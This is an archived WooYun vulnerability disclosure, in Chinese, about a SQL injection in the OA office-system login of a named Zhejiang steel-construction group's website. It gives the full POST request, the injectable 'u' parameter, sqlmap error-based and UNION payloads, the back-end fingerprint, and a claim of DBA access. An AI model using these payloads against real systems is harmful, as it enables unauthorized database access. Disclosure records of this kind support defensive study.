乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-02: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-10-17: 厂商已经主动忽略漏洞,细节向公众公开
精工控股集团(原浙江精工建设产业集团)是一家以六大产业板块——钢结构建筑、新型建材、房地产开发、高新纤维、金融、能源及投资为业务核心,多元化、跨地区的综合性集团公司,总资产130多亿元,员工近万人。集团在浙江、上海、北京、安徽等地拥有下属一级子公司10余家,为中国民营企业500强、中国制造企业500强、全国浙商100强。
存在漏洞的系统为:精工OA协同办公系统
http://www.jgsteel.cn/oa/
漏洞地址:
POST /services/eipajax.aspx?r=0.3453643461689353 HTTP/1.1Host: www.jgsteel.cnProxy-Connection: keep-aliveContent-Length: 51Accept: */*Origin: http://www.jgsteel.cnX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://www.jgsteel.cn/oa/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: BackURL=%2fsso%2fconnectoa.aspxa=loginsystem&u=admin&p=admin&backUrl=&appSystem=OA
u参数存在注入
---Parameter: u (POST) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: a=loginsystem&u=admin') AND 1932=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (1932=1932) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND ('npaG'='npaG&p=admin&backUrl=&appSystem=OA Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: a=loginsystem&u=admin') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(98)+CHAR(118)+CHAR(113)+CHAR(109)+CHAR(67)+CHAR(85)+CHAR(115)+CHAR(105)+CHAR(102)+CHAR(122)+CHAR(83)+CHAR(80)+CHAR(83)+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113),NULL,NULL,NULL-- &p=admin&backUrl=&appSystem=OA---[16:33:27] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NETback-end DBMS: Microsoft SQL Server 2008
数据库:
DBA权限
过滤
未能联系到厂商或者厂商积极拒绝